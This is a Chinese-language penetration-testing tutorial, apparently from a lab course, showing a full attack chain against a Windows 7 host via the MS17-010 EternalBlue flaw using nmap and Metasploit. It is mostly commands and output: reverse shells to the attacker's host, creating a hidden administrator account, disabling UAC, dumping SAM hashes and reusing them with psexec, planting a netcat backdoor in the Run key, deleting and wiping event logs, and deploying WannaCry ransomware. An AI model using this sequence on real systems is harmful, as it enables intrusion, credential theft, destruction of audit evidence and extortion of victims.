1.1.1 攻击Win7系统永恒之蓝漏洞(ms17-010)
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
永恒之蓝相关病毒,其实是利用了微软的MS17-010漏洞。MS17-010 是Windows系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/201 7/ms17-010
1.1.1.1 扫描主机并导入metasploit
- nmap扫描主机并导出结果
# nmap -A -T4 -v 192.168.10.156 -oX /tmp/192.168.10.156.xml
- metasploit导入扫描结果
msf6 > db_import /tmp/192.168.10.156.xml
- 查看主机信息
msf6 > hosts -R 192.168.10.156

msf6 > services -R 192.168.10.156

1.1.1.2 验证目标主机是否存在该漏洞
- 查找该漏洞的辅助模块
msf6 > search ms17_010 type:auxiliary

- 使用辅助模块验证
msf6 > use auxiliary/scanner/smb/smb_ms17_010
- 显示辅助模块选项,根据模块选项配置攻击目标
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

- 配置选项(Required为yes的show options时都要有值)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.10.156 RHOSTS => 192.168.10.156 msf6 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 4 THREADS => 4
- 验证漏洞是否存在
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

1.1.1.3 攻击目标主机
- 查找该漏洞攻击模块
msf6 > search ms17_010 type:exploit

- 使用攻击模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
- 显示和设置攻击模块选项,若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.156 RHOSTS => 192.168.10.156
- 显示和设置可攻击目标类型,若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets

msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 1 target => 1
- 显示和设置攻击载荷(payload),若使用默认值则不需要设置
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/shell/reverse_tcp payload => windows/x64/shell/reverse_tcp msf6 payload(windows/x64/shell/reverse_tcp) > set LHOST 192.168.10.180 LHOST => 192.168.10.180
注: payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
- 执行攻击模块
# 前台执行攻击模块 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

# 后台执行攻击模块 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

- 获取shell后进行攻击
# 处理windows和Linux字符集不同导致的乱码问题 C:\Windows\system32>chcp 65001 # 查看系统ip C:\Windows\system32>ipconfig Link-local IPv6 Address . . . . . : fe80::581b:129:2f0f:4bd7%11 IPv4 Address. . . . . . . . . . . : 192.168.10.156 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.1 # 添加用户 C:\Windows\system32>net user admin 123456 /add # 将添加的用户添加到系统管理员组 C:\Windows\system32>net localgroup administrators admin /add # 开启远程桌面 C:\Windows\system32>wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
- 会话放入后台
C:\Windows\system32>background Background session 5? [y/N] y
- 查看后台活动会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

- 重新进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 5

- 关闭会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 5 [*] Killing the following session(s): 5 [*] Killing session 5 [*] 192.168.10.156 - Command shell session 5 closed.
1.1.1.4 进行后渗透并清理日志
- shell提权到meterpreter
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -u 6 [*] Meterpreter session 7 opened (192.168.10.180:4433 -> 192.168.10.157:49499) at 2022-06-10 13:44:37 +0800 msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 7 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # 开启远程主机RDP服务 meterpreter > run post/windows/manage/enable_rdp # 开启远程主机RDP服务并创建登录用户及密码 meterpreter > run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=123456 [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary [*] Setting user account for logon [*] Adding User: admin with Password: 123456 [*] Adding User: admin to local group 'Remote Desktop Users' [*] Hiding user from Windows Login screen [*] Adding User: admin to local group 'Administrators' [*] You can now login with the created user [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20220610134755_default_192.168.10.157_host.windows.cle_889473.txt
- 远程登录被攻击主机
- 创建防火墙规则
创建一条防火墙规则允许4444端口访问网络,否则我们建立session时payload不能通过4444端口访问网络导致session建立失败。
meterpreter > shell Process 3112 created. Channel 4 created. Microsoft Windows [°汾 6.1.7601] °爨 (c) 2009 Microsoft Corporation £±£′ { £ C:\Windows\system32>chcp 65001 ...... C:\Windows\system32>netsh firewall add portopening TCP 4444 "admin" ENABLE ALL ...... Ok.
- 关闭UAC
UAC概述:用户帐户控制(User Account Control,简写作UAC)是微软公司在其WindowsVista及更高版本操作系统中采用的-种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件")损坏系统的效果。
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f The operation completed successfully.
参数说明:
- ADD:添加一个注册表项
- -V:创建键值
- -t:键值类型,
- -d:键值的值
- -f:强制修改注册表项
- 开启Win7默认共享
开启win7系统主机的默认共享,默认共享对Windows主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f The operation completed successfully. C:\Windows\system32>exit exit
- 从SAM导出密码哈希值
psexec 实用程序在远程系统上需要做一些事情:服务器消息块(SMB) 服务必须可用并且可以访问(例如,未被防火墙阻止);必须启用文件和打印共享。Admin$ 共享必须可用并且可以访问。它是一个隐藏的SMB共享,它映射到Windows目录,用于软件部署。提供给psexec实用程序的凭据必须具有访问Admin$共享的权限。psexec 的可执行文件内有Windows服务映像。它接受此服务并将其部署到远程计算机.上的Admin$共享中。然后,它使用SMB.上的DCE/RPC (分布式计算环境远程过程调用)接口来访问Windows Service Control Manager API。它将打开远程计算机上的psexec服务。然后psexec服务创建-个可用于将命令发送到系统的命名管道。
PS.SAM概述: SAM文件即账号密码数据库文件, SAM文件的位置是:C:\Windows\System32\config\SAM
meterpreter > hashdump admin:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: pm:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
- 使用hash值登录系统
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp emsf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set RHOST 192.168.10.157 RHOST => 192.168.10.157 msf6 exploit(windows/smb/psexec) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 exploit(windows/smb/psexec) > set SMBUSER admin SMBUSER => admin msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4msf6 exploit(windows/smb/psexec) > set SMBDomain WORKGROUP SMBDomain => WORKGROUP msf6 exploit(windows/smb/psexec) > exploit

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # 虽然使用的是普通用户登录但是得到的是system的权限
- 上传后门程序并清理日志
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 [*] uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32 [*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' Successfully set lltest_nc of REG_SZ.
参数说明:
- -L:表示用户退出连接后重新进行端口侦听
- -d:后台运行
- -p:指定端口
- -e:prog程序重定向, 一旦连接就执行
meterpreter > shell C:\Windows\system32>netsh firewall add portopening TCP 443 "443" ENABLE ALL C:\Windows\system32>shutdown -r -f -t 0 C:\Windows\system32>del %WINDIR%\*.log /a /s /q /f # 删除系统日志目录下的- -些日志文件 C:\Windows\system32>exit meterpreter > clearev [*] Wiping 463 records from Application... [*] Wiping 890 records from System... [*] Wiping 367 records from Security...
- 系统重启用户登录后查看后门运行状态并进行连接
msf6 > connect 192.168.10.157 443

扩展:我前面可以上传nc程序,也可以上传勒索病毒。大体过程如下:
1、上传勒索文件至C盘根目录下,为了隐蔽可以传至更隐蔽目录
upload wannacry.exe c:\
2、执行勒索可执行文件即可
execute -f c:\wannacry.exe
至此,勒索成功
